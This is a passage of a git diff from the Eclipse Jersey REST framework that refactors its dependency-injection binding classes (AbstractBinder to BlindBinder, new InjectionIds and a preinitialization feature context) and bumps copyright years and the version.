                         : new ClientScheduledExecutorServiceProvider(Values.of(scheduledExecutorService));
         }
 
-        InstanceBinding<ScheduledExecutorServiceProvider> schedulerBinding = Bindings
+        Binding<ScheduledExecutorServiceProvider, ?> schedulerBinding = Bindings
                 .service(defaultScheduledExecutorProvider)
-                .to(ScheduledExecutorServiceProvider.class);
+                .to(ScheduledExecutorServiceProvider.class)
+                .forClient(true)
+                .id(InjectionIds.CLIENT_SCHEDULED_EXECUTOR_SERVICE_PROVIDER.id());
         injectionManager.register(schedulerBinding);
 
         registerExecutors(injectionManager, componentBag, defaultAsyncExecutorProvider,
-                defaultScheduledExecutorProvider, bootstrapBag.getManagedObjectsFinalizer());
+                defaultScheduledExecutorProvider, bootstrapBag.getManagedObjectsFinalizer(), RuntimeType.CLIENT);
     }
 
     private static ExecutorService lookupManagedExecutorService() {
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientMessageBodyFactory.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientMessageBodyFactory.java
index bbd0abc..93bdca8 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientMessageBodyFactory.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientMessageBodyFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,11 +16,12 @@
 
 package org.glassfish.jersey.client;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.util.collection.LazyValue;
 import org.glassfish.jersey.internal.util.collection.Value;
 import org.glassfish.jersey.internal.util.collection.Values;
@@ -64,9 +65,10 @@
         @Override
         public void init(InjectionManager injectionManager, BootstrapBag bootstrapBag) {
             messageBodyFactory = new ClientMessageBodyFactory(bootstrapBag.getConfiguration(), () -> clientRuntime);
-            InstanceBinding<ClientMessageBodyFactory> binding =
-                    Bindings.service(messageBodyFactory)
-                            .to(MessageBodyWorkers.class);
+            Binding<ClientMessageBodyFactory, ?> binding =
+                    Bindings.service(messageBodyFactory).to(MessageBodyWorkers.class)
+                            .forClient(true)
+                            .id(InjectionIds.SERVER_MESSAGE_BODY_WORKERS.id());
             injectionManager.register(binding);
         }
 
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/InvocationInterceptorStages.java b/core-client/src/main/java/org/glassfish/jersey/client/InvocationInterceptorStages.java
index 12714d8..12ace67 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/InvocationInterceptorStages.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/InvocationInterceptorStages.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -53,6 +53,7 @@
 import java.util.Map;
 import java.util.Optional;
 import java.util.Set;
+import java.util.function.Predicate;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
@@ -280,6 +281,11 @@
             return clientRequest.getPropertyNames();
         }
 
+//        @Override
+        public boolean hasProperty(String name) {
+            return clientRequest.hasProperty(name);
+        }
+
         @Override
         public void setProperty(String name, Object object) {
             clientRequest.setProperty(name, object);
@@ -325,6 +331,16 @@
             return clientRequest.getHeaderString(name);
         }
 
+//        @Override
+        public boolean containsHeaderString(String name, String valueSeparatorRegex, Predicate<String> valuePredicate) {
+            return clientRequest.containsHeaderString(name, valueSeparatorRegex, valuePredicate);
+        }
+
+//        @Override
+        public boolean containsHeaderString(String name, Predicate<String> valuePredicate) {
+            return clientRequest.containsHeaderString(name, valuePredicate);
+        }
+
         @Override
         public Date getDate() {
             return clientRequest.getDate();
@@ -500,6 +516,16 @@
             return clientResponse.getHeaderString(name);
         }
 
+//        @Override
+        public boolean containsHeaderString(String name, String valueSeparatorRegex, Predicate<String> valuePredicate) {
+            return clientResponse.containsHeaderString(name, valueSeparatorRegex, valuePredicate);
+        }
+
+//        @Override
+        public boolean containsHeaderString(String name, Predicate<String> valuePredicate) {
+            return clientResponse.containsHeaderString(name, valuePredicate);
+        }
+
         @Override
         public Set<String> getAllowedMethods() {
             return clientResponse.getAllowedMethods();
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/JerseyInvocation.java b/core-client/src/main/java/org/glassfish/jersey/client/JerseyInvocation.java
index c120856..c131119 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/JerseyInvocation.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/JerseyInvocation.java
@@ -62,14 +62,11 @@
 import org.glassfish.jersey.client.internal.ClientResponseProcessingException;
 import org.glassfish.jersey.client.internal.LocalizationMessages;
 import org.glassfish.jersey.internal.MapPropertiesDelegate;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.DisposableSupplier;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.internal.inject.ServiceHolder;
 import org.glassfish.jersey.internal.util.Producer;
 import org.glassfish.jersey.internal.util.PropertiesHelper;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
-import org.glassfish.jersey.process.internal.ExecutorProviders;
 import org.glassfish.jersey.process.internal.RequestScope;
 import org.glassfish.jersey.spi.ExecutorServiceProvider;
 
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java
index 09d8d88..9ed06d0 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,19 +17,19 @@
 package org.glassfish.jersey.client.innate.inject;
 
 import org.glassfish.jersey.client.internal.LocalizationMessages;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.BlindBinder;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.Binder;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
 import org.glassfish.jersey.internal.inject.ForeignDescriptor;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.PerThread;
 import org.glassfish.jersey.internal.inject.ServiceHolder;
 import org.glassfish.jersey.internal.inject.ServiceHolderImpl;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.util.collection.LazyValue;
 import org.glassfish.jersey.internal.util.collection.Value;
 import org.glassfish.jersey.internal.util.collection.Values;
@@ -268,7 +268,7 @@
     }
 
     public NonInjectionManager() {
-        Binding binding = new AbstractBinder() {
+        final Binding binding = new BlindBinder() {
             @Override
             protected void configure() {
                 bind(NonInjectionRequestScope.class).to(RequestScope.class).in(Singleton.class);
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/internal/inject/ParameterUpdaterConfigurator.java b/core-client/src/main/java/org/glassfish/jersey/client/internal/inject/ParameterUpdaterConfigurator.java
index f8627f8..461807a 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/internal/inject/ParameterUpdaterConfigurator.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/internal/inject/ParameterUpdaterConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Payara Foundation and/or its affiliates.
  *
  * This program and the accompanying materials are made available under the
@@ -20,9 +20,10 @@
 import jakarta.ws.rs.ext.ParamConverterProvider;
 import org.glassfish.jersey.client.ClientBootstrapBag;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.ParamConverterFactory;
 import org.glassfish.jersey.internal.inject.Providers;
@@ -53,6 +54,6 @@
         ParameterUpdaterFactory parameterUpdaterFactory = new ParameterUpdaterFactory(lazyParamConverterFactory);
         clientBag.setParameterUpdaterProvider(parameterUpdaterFactory);
         injectionManager.register(Bindings.service(parameterUpdaterFactory)
-                        .to(ParameterUpdaterProvider.class));
+                        .to(ParameterUpdaterProvider.class).id(InjectionIds.CLIENT_PARAMETER_UPDATER_PROVIDER.id()));
     }
 }
diff --git a/core-client/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization b/core-client/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
new file mode 100644
index 0000000..c8f92f0
--- /dev/null
+++ b/core-client/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
@@ -0,0 +1 @@
+org.glassfish.jersey.client.ClientBootstrapPreinitialization
\ No newline at end of file
diff --git a/core-client/src/test/java/org/glassfish/jersey/client/JerseyClientTest.java b/core-client/src/test/java/org/glassfish/jersey/client/JerseyClientTest.java
index a985579..85be81c 100644
--- a/core-client/src/test/java/org/glassfish/jersey/client/JerseyClientTest.java
+++ b/core-client/src/test/java/org/glassfish/jersey/client/JerseyClientTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -39,8 +39,8 @@
 import org.glassfish.jersey.client.spi.AsyncConnectorCallback;
 import org.glassfish.jersey.client.spi.Connector;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.Version;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeEach;
diff --git a/core-client/src/test/java/org/glassfish/jersey/client/filter/ClientProviderInstanceInjectionTest.java b/core-client/src/test/java/org/glassfish/jersey/client/filter/ClientProviderInstanceInjectionTest.java
index 3900e5d..56cb409 100644
--- a/core-client/src/test/java/org/glassfish/jersey/client/filter/ClientProviderInstanceInjectionTest.java
+++ b/core-client/src/test/java/org/glassfish/jersey/client/filter/ClientProviderInstanceInjectionTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,7 +28,7 @@
 
 import jakarta.inject.Inject;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 
 import org.junit.jupiter.api.Test;
diff --git a/core-common/pom.xml b/core-common/pom.xml
index 016395e..b4e0ca8 100644
--- a/core-common/pom.xml
+++ b/core-common/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.core</groupId>
@@ -143,6 +143,7 @@
                             org.w3c.dom;resolution:=optional,
                             org.xml.sax;resolution:=optional,
                             ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                         <Bundle-ActivationPolicy>lazy</Bundle-ActivationPolicy>
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/spi/BootstrapPreinitialization.java b/core-common/src/main/java/org/glassfish/jersey/innate/BootstrapPreinitialization.java
similarity index 69%
rename from incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/spi/BootstrapPreinitialization.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/BootstrapPreinitialization.java
index 07ba5b9..29f7fe9 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/spi/BootstrapPreinitialization.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/BootstrapPreinitialization.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,17 +14,18 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.inject.weld.spi;
-
-import jakarta.ws.rs.RuntimeType;
+package org.glassfish.jersey.innate;
 
 import org.glassfish.jersey.Beta;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.FeatureContext;
 
 /**
  * <p>
  *     The entry point for pre-initialize Jersey during bootstrap. Register the beans that are not recognized by the injection
- *     framework to be injected in runtime. Register beans for the specific runtime type into the {@link AbstractBinder}.
+ *     framework to be injected in runtime. Register beans for the specific runtime type into the {@link InjectionManager}.
  * </p>
  */
 @Beta
@@ -32,7 +33,11 @@
     /**
      * Manually register beans that are not automatically recognised by the injection framework.
      * @param runtimeType
-     * @param binder
+     * @param injectionManager
      */
-    void register(RuntimeType runtimeType, AbstractBinder binder);
+    void preregister(RuntimeType runtimeType, InjectionManager injectionManager);
+
+    static FeatureContext featureContextInstance() {
+        return new PreinitializationFeatureContext();
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/innate/PreinitializationFeatureContext.java b/core-common/src/main/java/org/glassfish/jersey/innate/PreinitializationFeatureContext.java
new file mode 100644
index 0000000..bbea997
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/PreinitializationFeatureContext.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.innate;
+
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.model.internal.CommonConfig;
+import org.glassfish.jersey.model.internal.ComponentBag;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.FeatureContext;
+import java.util.Map;
+
+/**
+ * Feature Context to be used during the Bootstrap Preinitialization phase
+ */
+class PreinitializationFeatureContext implements FeatureContext {
+
+    private final InternalBinder binder;
+
+    PreinitializationFeatureContext() {
+        this.binder = new InternalBinder() {
+            @Override
+            protected void configure() {
+
+            }
+        };
+    }
+
+    @Override
+    public Configuration getConfiguration() {
+        return new CommonConfig(RuntimeType.SERVER, ComponentBag.INCLUDE_ALL);
+    }
+
+    @Override
+    public FeatureContext property(String name, Object value) {
+        return this;
+    }
+
+    @Override
+    public FeatureContext register(Class<?> componentClass) {
+        binder.bindAsContract(componentClass);
+        return this;
+    }
+
+    @Override
+    public FeatureContext register(Class<?> componentClass, int priority) {
+        binder.bindAsContract(componentClass).ranked(priority);
+        return this;
+    }
+
+    @Override
+    public FeatureContext register(Class<?> componentClass, Class<?>... contracts) {
+        final Binding binding = binder.bind(componentClass);
+        if (contracts != null) {
+            for (Class<?> contract : contracts) {
+                binding.to(contract);
+            }
+        }
+        return this;
+    }
+
+    @Override
+    public FeatureContext register(Class<?> componentClass, Map<Class<?>, Integer> contracts) {
+        for (Map.Entry<Class<?>, Integer> contract : contracts.entrySet()) {
+            final InternalBinder abstractBinder = new InternalBinder() {
+                @Override
+                protected void configure() {
+                }
+            };
+            final Binding binding = abstractBinder.bind(componentClass);
+            binding.to(contract.getKey()).ranked(contract.getValue());
+            binder.install(abstractBinder);
+        }
+        return this;
+    }
+
+    @Override
+    public FeatureContext register(Object component) {
+        if (InjectionManager.class.isInstance(component)) {
+            ((InjectionManager) component).register(binder);
+        } else if (InternalBinder.class.isInstance(component)) {
+            binder.install((InternalBinder) component);
+        } else {
+            binder.bind(component).to(component.getClass());
+        }
+        return this;
+    }
+
+    @Override
+    public FeatureContext register(Object component, int priority) {
+        binder.bind(component).to(component.getClass()).ranked(priority);
+        return this;
+    }
+
+    @Override
+    public FeatureContext register(Object component, Class<?>... contracts) {
+        Binding binding = binder.bind(component);
+        if (contracts != null) {
+            for (Class<?> contract : contracts) {
+                binding.to(contract);
+            }
+        }
+        return this;
+    }
+
+    @Override
+    public FeatureContext register(Object component, Map<Class<?>, Integer> contracts) {
+        for (Map.Entry<Class<?>, Integer> contract : contracts.entrySet()) {
+            final InternalBinder abstractBinder = new InternalBinder() {
+                @Override
+                protected void configure() {
+                }
+            };
+            final Binding binding = abstractBinder.bind(component);
+            binding.to(contract.getKey()).ranked(contract.getValue());
+            binder.install(abstractBinder);
+        }
+        return this;
+    }
+}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Bindings.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/Bindings.java
similarity index 93%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/Bindings.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/Bindings.java
index ef1e733..9f34627 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Bindings.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/Bindings.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
 
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
@@ -23,6 +23,10 @@
 
 import jakarta.ws.rs.core.GenericType;
 
+import org.glassfish.jersey.internal.inject.Binder;
+import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionResolver;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
 
 /**
@@ -37,8 +41,8 @@
     }
 
     public static Collection<Binding> getBindings(InjectionManager injectionManager, Binder binder) {
-        if (binder instanceof AbstractBinder) {
-            ((AbstractBinder) binder).setInjectionManager(injectionManager);
+        if (binder instanceof BlindBinder) {
+            ((BlindBinder) binder).setInjectionManager(injectionManager);
         }
 
         return binder.getBindings();
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/AbstractBinder.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/BlindBinder.java
similarity index 87%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/AbstractBinder.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/BlindBinder.java
index 78379c3..12efd1b 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/AbstractBinder.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/BlindBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,15 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
+
+import jakarta.inject.Provider;
+import jakarta.ws.rs.core.GenericType;
+import org.glassfish.jersey.internal.LocalizationMessages;
+import org.glassfish.jersey.internal.inject.Binder;
+import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionResolver;
 
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
@@ -26,12 +34,6 @@
 import java.util.function.Supplier;
 import java.util.stream.Collectors;
 
-import jakarta.ws.rs.core.GenericType;
-
-import jakarta.inject.Provider;
-
-import org.glassfish.jersey.internal.LocalizationMessages;
-
 /**
  * Implementation of {@link Binder} interface dedicated to keep some level of code compatibility between previous HK2
  * implementation and new DI SPI.
@@ -40,11 +42,11 @@
  *
  * @author Petr Bouda
  */
-public abstract class AbstractBinder implements Binder {
+public abstract class BlindBinder implements Binder {
 
     private List<Binding> internalBindings = new ArrayList<>();
 
-    private List<AbstractBinder> installed = new ArrayList<>();
+    private List<Binder> installed = new ArrayList<>();
 
     private InjectionManager injectionManager;
 
@@ -93,7 +95,7 @@
      * @param serviceType service class.
      * @return initialized binding builder.
      */
-    public <T> ClassBinding<T> bind(Class<T> serviceType) {
+    public <T> Binding<T, ?> bind(Class<T> serviceType) {
         ClassBinding<T> binding = Bindings.service(serviceType);
         internalBindings.add(binding);
         return binding;
@@ -119,7 +121,7 @@
      * @param serviceType service class.
      * @return initialized binding builder.
      */
-    public <T> ClassBinding<T> bindAsContract(Class<T> serviceType) {
+    public <T> Binding<T, ?> bindAsContract(Class<T> serviceType) {
         ClassBinding<T> binding = Bindings.serviceAsContract(serviceType);
         internalBindings.add(binding);
         return binding;
@@ -134,7 +136,7 @@
      * @param serviceType generic service type information.
      * @return initialized binding builder.
      */
-    public <T> ClassBinding<T> bindAsContract(GenericType<T> serviceType) {
+    public <T> Binding<T, ?> bindAsContract(GenericType<T> serviceType) {
         ClassBinding<T> binding = Bindings.service(serviceType);
         internalBindings.add(binding);
         return binding;
@@ -148,7 +150,7 @@
      * @param serviceType generic service type information.
      * @return initialized binding builder.
      */
-    public ClassBinding<Object> bindAsContract(Type serviceType) {
+    public Binding<Object, ?> bindAsContract(Type serviceType) {
         ClassBinding<Object> binding = Bindings.serviceAsContract(serviceType);
         internalBindings.add(binding);
         return binding;
@@ -164,7 +166,7 @@
      * @param service service instance.
      * @return initialized binding builder.
      */
-    public <T> InstanceBinding<T> bind(T service) {
+    public <T> Binding<T, ?> bind(T service) {
         InstanceBinding<T> binding = Bindings.service(service);
         internalBindings.add(binding);
         return binding;
@@ -178,7 +180,7 @@
      * @param supplierScope factory scope.
      * @return initialized binding builder.
      */
-    public <T> SupplierClassBinding<T> bindFactory(
+    public <T> Binding<Supplier<T>, ?> bindFactory(
             Class<? extends Supplier<T>> supplierType, Class<? extends Annotation> supplierScope) {
         SupplierClassBinding<T> binding = Bindings.supplier(supplierType, supplierScope);
         internalBindings.add(binding);
@@ -194,7 +196,7 @@
      * @param supplierType service supplier class.
      * @return initialized binding builder.
      */
-    public <T> SupplierClassBinding<T> bindFactory(Class<? extends Supplier<T>> supplierType) {
+    public <T> Binding<Supplier<T>, ?> bindFactory(Class<? extends Supplier<T>> supplierType) {
         SupplierClassBinding<T> binding = Bindings.supplier(supplierType);
         internalBindings.add(binding);
         return binding;
@@ -207,7 +209,7 @@
      * @param factory service instance.
      * @return initialized binding builder.
      */
-    public <T> SupplierInstanceBinding<T> bindFactory(Supplier<T> factory) {
+    public <T> Binding<Supplier<T>, ?> bindFactory(Supplier<T> factory) {
         SupplierInstanceBinding<T> binding = Bindings.supplier(factory);
         internalBindings.add(binding);
         return binding;
@@ -217,14 +219,14 @@
      * Start building a new injection resolver binding. The injection resolver is naturally
      * considered to be a {@link jakarta.inject.Singleton singleton-scoped}.
      * <p>
-     * There is no need to provide any additional information. Other method on {@link Binding}
+     * There is no need to provide any additional information. Other method on {@link InternalBinding}
      * will be ignored.
      *
      * @param <T>      type of the injection resolver.
      * @param resolver injection resolver instance.
      * @return initialized binding builder.
      */
-    public <T extends InjectionResolver> InjectionResolverBinding<T> bind(T resolver) {
+    public <T extends InjectionResolver> Binding<T, ?> bind(T resolver) {
         InjectionResolverBinding<T> binding = Bindings.injectionResolver(resolver);
         internalBindings.add(binding);
         return binding;
@@ -235,7 +237,7 @@
      *
      * @param binders binders whose binding definitions should be configured.
      */
-    public final void install(AbstractBinder... binders) {
+    public final void install(Binder... binders) {
         Arrays.stream(binders)
                 .filter(Objects::nonNull)
                 .forEach(installed::add);
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ClassBinding.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/ClassBinding.java
similarity index 86%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/ClassBinding.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/ClassBinding.java
index 605abc1..0f22e35 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ClassBinding.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/ClassBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
 
 /**
  * Injection binding description of a bean bound via its a Java class.
@@ -22,7 +22,7 @@
  * @param <T> type of the bean described by this injection binding.
  * @author Petr Bouda
  */
-public class ClassBinding<T> extends Binding<T, ClassBinding<T>> {
+public class ClassBinding<T> extends InternalBinding<T, ClassBinding<T>> {
 
     private final Class<T> service;
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/CompositeBinder.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/CompositeBinder.java
similarity index 82%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/CompositeBinder.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/CompositeBinder.java
index 3347415..792626e 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/CompositeBinder.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/CompositeBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,9 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
+
+import org.glassfish.jersey.internal.inject.Binder;
 
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -27,7 +29,7 @@
  *
  * @author Petr Bouda
  */
-public class CompositeBinder extends AbstractBinder {
+public class CompositeBinder extends InternalBinder {
 
     private Collection<Binder> installed = new ArrayList<>();
 
@@ -46,7 +48,7 @@
      * @param binders provided binder to install as a collection.
      * @return composite binder.
      */
-    public static AbstractBinder wrap(Collection<Binder> binders) {
+    public static InternalBinder wrap(Collection<Binder> binders) {
         return new CompositeBinder(binders);
     }
 
@@ -56,7 +58,7 @@
      * @param binders provided binder to install as an array.
      * @return composite binder.
      */
-    public static AbstractBinder wrap(Binder... binders) {
+    public static InternalBinder wrap(Binder... binders) {
         return new CompositeBinder(Arrays.asList(binders));
     }
 
@@ -65,6 +67,6 @@
      */
     @Override
     public void configure() {
-        install(installed.toArray(new AbstractBinder[] {}));
+        install(installed.toArray(new Binder[] {}));
     }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/innate/inject/InjectionIds.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InjectionIds.java
new file mode 100644
index 0000000..e6f0fde
--- /dev/null
